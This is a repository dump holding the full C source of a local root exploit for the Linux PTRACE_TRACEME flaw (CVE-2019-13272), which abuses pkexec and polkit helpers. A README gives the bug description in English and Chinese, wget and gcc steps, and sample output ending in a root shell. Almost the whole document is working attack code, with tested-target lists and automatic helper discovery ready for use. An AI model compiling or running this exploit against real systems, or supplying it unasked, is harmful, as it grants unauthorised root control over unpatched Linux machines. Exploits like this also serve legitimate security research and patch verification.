[
  {
    "path": "CVE-2019-13272.c",
    "content": "// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\r\n// Uses pkexec technique\r\n// ---\r\n// Original discovery and exploit author: Jann Horn\r\n// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\r\n// ---\r\n// <bcoles@gmail.com>\r\n// - added known helper paths\r\n// - added search for suitable helpers\r\n// - added automatic targeting\r\n// - changed target suid exectuable from passwd to pkexec\r\n// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\r\n// ---\r\n// Tested on:\r\n// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\r\n// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\r\n// - Ubuntu 19.04 kernel 5.0.0-15-generic\r\n// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\r\n// - Linux Mint 19 kernel 4.15.0-20-generic\r\n// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\r\n// - ElementaryOS 0.4.1 4.8.0-52-generic\r\n// - Backbox 6 kernel 4.18.0-21-generic\r\n// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\r\n// - Kali kernel 4.19.0-kali5-amd64\r\n// - Redcore 1806 (LXQT) kernel 4.16.16-redcore\r\n// - MX 18.3 kernel 4.19.37-2~mx17+1\r\n// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\r\n// - Debian 9.4.0 kernel 4.9.0-6-amd64\r\n// - Debian 10.0.0 kernel 4.19.0-5-amd64\r\n// - Devuan 2.0.0 kernel 4.9.0-6-amd64\r\n// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\r\n// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\r\n// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\r\n// - Mageia 6 kernel 4.9.35-desktop-1.mga6\r\n// - Antergos 18.7 kernel 4.17.6-1-ARCH\r\n// ---\r\n// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root\r\n// user@linux-mint-19-2:~$ ./ptrace_traceme_root\r\n// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\r\n// [.] Checking environment ...\r\n// [~] Done, looks good\r\n// [.] Searching for known helpers ...\r\n// [~] Found known helper: /usr/sbin/mate-power-backlight-helper\r\n// [.] Using helper: /usr/sbin/mate-power-backlight-helper\r\n// [.] Spawning suid process (/usr/bin/pkexec) ...\r\n// [.] Tracing midpid ...\r\n// [~] Attached to midpid\r\n// To run a command as administrator (user \"root\"), use \"sudo <command>\".\r\n// See \"man sudo_root\" for details.\r\n//\r\n// root@linux-mint-19-2:/home/user#\r\n// ---\r\n\r\n#define _GNU_SOURCE\r\n#include <string.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <signal.h>\r\n#include <stdio.h>\r\n#include <fcntl.h>\r\n#include <sched.h>\r\n#include <stddef.h>\r\n#include <stdarg.h>\r\n#include <pwd.h>\r\n#include <sys/prctl.h>\r\n#include <sys/wait.h>\r\n#include <sys/ptrace.h>\r\n#include <sys/user.h>\r\n#include <sys/syscall.h>\r\n#include <sys/stat.h>\r\n#include <linux/elf.h>\r\n\r\n#define DEBUG\r\n\r\n#ifdef DEBUG\r\n#  define dprintf printf\r\n#else\r\n#  define dprintf\r\n#endif\r\n\r\n#define SAFE(expr) ({                   \\\r\n  typeof(expr) __res = (expr);          \\\r\n  if (__res == -1) {                    \\\r\n    dprintf(\"[-] Error: %s\\n\", #expr);  \\\r\n    return 0;                           \\\r\n  }                                     \\\r\n  __res;                                \\\r\n})\r\n#define max(a,b) ((a)>(b) ? (a) : (b))\r\n\r\nstatic const char *SHELL = \"/bin/bash\";\r\n\r\nstatic int middle_success = 1;\r\nstatic int block_pipe[2];\r\nstatic int self_fd = -1;\r\nstatic int dummy_status;\r\nstatic const char *helper_path;\r\nstatic const char *pkexec_path = \"/usr/bin/pkexec\";\r\nstatic const char *pkaction_path = \"/usr/bin/pkaction\";\r\nstruct stat st;\r\n\r\nconst char *helpers[1024];\r\n\r\nconst char *known_helpers[] = {\r\n  \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\r\n  \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\r\n  \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\r\n  \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\r\n  \"/usr/sbin/mate-power-backlight-helper\",\r\n  \"/usr/bin/xfpm-power-backlight-helper\",\r\n  \"/usr/bin/lxqt-backlight_backend\",\r\n  \"/usr/libexec/gsd-wacom-led-helper\",\r\n  \"/usr/libexec/gsd-wacom-oled-helper\",\r\n  \"/usr/libexec/gsd-backlight-helper\",\r\n  \"/usr/lib/gsd-backlight-helper\",\r\n  \"/usr/lib/gsd-wacom-led-helper\",\r\n  \"/usr/lib/gsd-wacom-oled-helper\",\r\n};\r\n\r\n/* temporary printf; returned pointer is valid until next tprintf */\r\nstatic char *tprintf(char *fmt, ...) {\r\n  static char buf[10000];\r\n  va_list ap;\r\n  va_start(ap, fmt);\r\n  vsprintf(buf, fmt, ap);\r\n  va_end(ap);\r\n  return buf;\r\n}\r\n\r\n/*\r\n * fork, execute pkexec in parent, force parent to trace our child process,\r\n * execute suid executable (pkexec) in child.\r\n */\r\nstatic int middle_main(void *dummy) {\r\n  prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n  pid_t middle = getpid();\r\n\r\n  self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\r\n\r\n  pid_t child = SAFE(fork());\r\n  if (child == 0) {\r\n    prctl(PR_SET_PDEATHSIG, SIGKILL);\r\n\r\n    SAFE(dup2(self_fd, 42));\r\n\r\n    /* spin until our parent becomes privileged (have to be fast here) */\r\n    int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\r\n    char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\r\n    while (1) {\r\n      char buf[1000];\r\n      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\r\n      buf[buflen] = '\\0';\r\n      if (strstr(buf, needle)) break;\r\n    }\r\n\r\n    /*\r\n     * this is where the bug is triggered.\r\n     * while our parent is in the middle of pkexec, we force it to become our\r\n     * tracer, with pkexec's creds as ptracer_cred.\r\n     */\r\n    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\r\n\r\n    /*\r\n     * now we execute a suid executable (pkexec).\r\n     * Because the ptrace relationship is considered to be privileged,\r\n     * this is a proper suid execution despite the attached tracer,\r\n     * not a degraded one.\r\n     * at the end of execve(), this process receives a SIGTRAP from ptrace.\r\n     */\r\n    execl(pkexec_path, basename(pkexec_path), NULL);\r\n\r\n    dprintf(\"[-] execl: Executing suid executable failed\");\r\n    exit(EXIT_FAILURE);\r\n  }\r\n\r\n  SAFE(dup2(self_fd, 0));\r\n  SAFE(dup2(block_pipe[1], 1));\r\n\r\n  /* execute pkexec as current user */\r\n  struct passwd *pw = getpwuid(getuid());\r\n  if (pw == NULL) {\r\n    dprintf(\"[-] getpwuid: Failed to retrieve username\");\r\n    exit(EXIT_FAILURE);\r\n  }\r\n\r\n  middle_success = 1;\r\n  execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\r\n        helper_path,\r\n        \"--help\", NULL);\r\n  middle_success = 0;\r\n  dprintf(\"[-] execl: Executing pkexec failed\");\r\n  exit(EXIT_FAILURE);\r\n}\r\n\r\n/* ptrace pid and wait for signal */\r\nstatic int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\r\n  struct user_regs_struct regs;\r\n  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };\r\n  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\r\n  SAFE(waitpid(pid, &dummy_status, 0));\r\n  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\r\n\r\n  /* set up indirect arguments */\r\n  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\r\n  struct injected_page {\r\n    unsigned long argv[2];\r\n    unsigned long envv[1];\r\n    char arg0[8];\r\n    char path[1];\r\n  } ipage = {\r\n    .argv = { scratch_area + offsetof(struct injected_page, arg0) }\r\n  };\r\n  strcpy(ipage.arg0, arg0);\r\n  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {\r\n    unsigned long pdata = ((unsigned long *)&ipage)[i];\r\n    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\r\n                (void*)pdata));\r\n  }\r\n\r\n  /* execveat(exec_fd, path, argv, envv, flags) */\r\n  regs.orig_rax = __NR_execveat;\r\n  regs.rdi = exec_fd;\r\n  regs.rsi = scratch_area + offsetof(struct injected_page, path);\r\n  regs.rdx = scratch_area + offsetof(struct injected_page, argv);\r\n  regs.r10 = scratch_area + offsetof(struct injected_page, envv);\r\n  regs.r8 = AT_EMPTY_PATH;\r\n\r\n  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\r\n  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\r\n  SAFE(waitpid(pid, &dummy_status, 0));\r\n}\r\n\r\nstatic int middle_stage2(void) {\r\n  /* our child is hanging in signal delivery from execve()'s SIGTRAP */\r\n  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\r\n  force_exec_and_wait(child, 42, \"stage3\");\r\n  return 0;\r\n}\r\n\r\n// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\r\n\r\nstatic int spawn_shell(void) {\r\n  SAFE(setresgid(0, 0, 0));\r\n  SAFE(setresuid(0, 0, 0));\r\n  execlp(SHELL, basename(SHELL), NULL);\r\n  dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\r\n  exit(EXIT_FAILURE);\r\n}\r\n\r\n// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\r\n\r\nstatic int check_env(void) {\r\n  const char* xdg_session = getenv(\"XDG_SESSION_ID\");\r\n\r\n  dprintf(\"[.] Checking environment ...\\n\");\r\n\r\n  if (stat(pkexec_path, &st) != 0) {\r\n    dprintf(\"[-] Could not find pkexec executable at %s\", pkexec_path);\r\n    exit(EXIT_FAILURE);\r\n  }\r\n  if (stat(pkaction_path, &st) != 0) {\r\n    dprintf(\"[-] Could not find pkaction executable at %s\", pkaction_path);\r\n    exit(EXIT_FAILURE);\r\n  }\r\n  if (xdg_session == NULL) {\r\n    dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\r\n    return 1;\r\n  }\r\n  if (system(\"/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\r\n    dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\r\n    return 1;\r\n  }\r\n  if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\r\n    if (system(\"/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on\") == 0) {\r\n      dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\r\n      return 1;\r\n    }\r\n  }\r\n\r\n  dprintf(\"[~] Done, looks good\\n\");\r\n\r\n  return 0;\r\n}\r\n\r\n/*\r\n * Use pkaction to search PolKit policy actions for viable helper executables.\r\n * Check each action for allow_active=yes, extract the associated helper path,\r\n * and check the helper path exists.\r\n */\r\nint find_helpers() {\r\n  char cmd[1024];\r\n  snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\r\n  FILE *fp;\r\n  fp = popen(cmd, \"r\");\r\n  if (fp == NULL) {\r\n    dprintf(\"[-] Failed to run: %s\\n\", cmd);\r\n    exit(EXIT_FAILURE);\r\n  }\r\n\r\n  char line[1024];\r\n  char buffer[2048];\r\n  int helper_index = 0;\r\n  int useful_action = 0;\r\n  static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\r\n  int needle_length = strlen(needle);\r\n\r\n  while (fgets(line, sizeof(line)-1, fp) != NULL) {\r\n    /* check the action uses allow_active=yes*/\r\n    if (strstr(line, \"implicit active:\")) {\r\n      if (strstr(line, \"yes\")) {\r\n        useful_action = 1;\r\n      }\r\n      continue;\r\n    }\r\n\r\n    if (useful_action == 0)\r\n      continue;\r\n    useful_action = 0;\r\n\r\n    /* extract the helper path */\r\n    int length = strlen(line);\r\n    char* found = memmem(&line[0], length, needle, needle_length);\r\n    if (found == NULL)\r\n      continue;\r\n\r\n    memset(buffer, 0, sizeof(buffer));\r\n    for (int i = 0; found[needle_length + i] != '\\n'; i++) {\r\n      if (i >= sizeof(buffer)-1)\r\n        continue;\r\n      buffer[i] = found[needle_length + i];\r\n    }\r\n\r\n    if (strstr(&buffer[0], \"/xf86-video-intel-backlight-helper\") != 0 ||\r\n      strstr(&buffer[0], \"/cpugovctl\") != 0 ||\r\n      strstr(&buffer[0], \"/package-system-locked\") != 0 ||\r\n      strstr(&buffer[0], \"/cddistupgrader\") != 0) {\r\n      dprintf(\"[.] Ignoring blacklisted helper: %s\\n\", &buffer[0]);\r\n      continue;\r\n    }\r\n\r\n    /* check the path exists */\r\n    if (stat(&buffer[0], &st) != 0)\r\n      continue;\r\n\r\n    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));\r\n    helper_index++;\r\n\r\n    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))\r\n      break;\r\n  }\r\n\r\n  pclose(fp);\r\n  return 0;\r\n}\r\n\r\n// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\r\n\r\nint ptrace_traceme_root() {\r\n  dprintf(\"[.] Using helper: %s\\n\", helper_path);\r\n\r\n  /*\r\n   * set up a pipe such that the next write to it will block: packet mode,\r\n   * limited to one packet\r\n   */\r\n  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\r\n  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\r\n  char dummy = 0;\r\n  SAFE(write(block_pipe[1], &dummy, 1));\r\n\r\n  /* spawn pkexec in a child, and continue here once our child is in execve() */\r\n  dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\r\n  static char middle_stack[1024*1024];\r\n  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\r\n                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\r\n  if (!middle_success) return 1;\r\n\r\n  /*\r\n   * wait for our child to go through both execve() calls (first pkexec, then\r\n   * the executable permitted by polkit policy).\r\n   */\r\n  while (1) {\r\n    int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\r\n    char buf[16];\r\n    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\r\n    buf[buflen] = '\\0';\r\n    *strchrnul(buf, '\\n') = '\\0';\r\n    if (strncmp(buf, basename(helper_path), 15) == 0)\r\n      break;\r\n    usleep(100000);\r\n  }\r\n\r\n  /*\r\n   * our child should have gone through both the privileged execve() and the\r\n   * following execve() here\r\n   */\r\n  dprintf(\"[.] Tracing midpid ...\\n\");\r\n  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\r\n  SAFE(waitpid(midpid, &dummy_status, 0));\r\n  dprintf(\"[~] Attached to midpid\\n\");\r\n\r\n  force_exec_and_wait(midpid, 0, \"stage2\");\r\n  exit(EXIT_SUCCESS);\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n  if (strcmp(argv[0], \"stage2\") == 0)\r\n    return middle_stage2();\r\n  if (strcmp(argv[0], \"stage3\") == 0)\r\n    return spawn_shell();\r\n\r\n  dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\r\n\r\n  check_env();\r\n\r\n  if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\r\n    exit(0);\r\n  }\r\n\r\n  /* Search for known helpers defined in 'known_helpers' array */\r\n  dprintf(\"[.] Searching for known helpers ...\\n\");\r\n  for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {\r\n    if (stat(known_helpers[i], &st) == 0) {\r\n      helper_path = known_helpers[i];\r\n      dprintf(\"[~] Found known helper: %s\\n\", helper_path);\r\n      ptrace_traceme_root();\r\n    }\r\n  }\r\n\r\n  /* Search polkit policies for helper executables */\r\n  dprintf(\"[.] Searching for useful helpers ...\\n\");\r\n  find_helpers();\r\n  for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {\r\n    if (helpers[i] == NULL)\r\n      break;\r\n\r\n    if (stat(helpers[i], &st) == 0) {\r\n      helper_path = helpers[i];\r\n      ptrace_traceme_root();\r\n    }\r\n  }\r\n\r\n  return 0;\r\n}"
  },
  {
    "path": "README.md",
    "content": "# CVE-2019-13272 Linux local root exploit\n\n### Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n\n\n[![asciicast](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1.svg)](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1)\n\n```\nIn the Linux kernel before 5.1.17, \n\nptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, \n\nwhich allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship,\n\nwhere a parent drops privileges and calls execve (potentially allowing control by an attacker). \n\nOne contributing factor is an object lifetime issue (which can also cause a panic). \n\nAnother contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. \n\nNOTE: SELinux deny_ptrace might be a usable workaround in some environments.\n\n在5.1.17之前的Linux内核中，\nkernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，\n这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve（可能允许攻击者控制）。\n一个影响因素是对象寿命问题（也可能导致恐慌）。 \n另一个影响因素是将ptrace关系标记为特权，这可以通过（例如）Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。 \n注意：在某些环境中，SELinux deny_ptrace可能是一种可用的解决方法。\n```\n\n\n![](./CVE-2019-13272.jpg)\n\n `wget https://raw.githubusercontent.com/jas502n/CVE-2019-13272/master/CVE-2019-13272.c`\n \n `gcc -s CVE-2019-13272.c -o pwned`\n \n```\njas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned \nLinux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)                 \n[.] Checking environment ...                                                   \n[~] Done, looks good                                                           \n[.] Searching for known helpers ...                                            \n[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper    \n[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper          \n[.] Spawning suid process (/usr/bin/pkexec) ...                                \n[.] Tracing midpid ...                                                         \n[~] Attached to midpid                                                         \nTo run a command as administrator (user \"root\"), use \"sudo <command>\".         \nSee \"man sudo_root\" for details.                                               \n                                                                               \nroot@Study:/home/jas502n/Desktop/CVE-2019-13272#\n```\n\n\n\n\n### Updated version of Jann Horn's exploit for CVE-2019-13272.\n\n`https://bugs.chromium.org/p/project-zero/issues/detail?id=1903`\n\n\n"
  }
]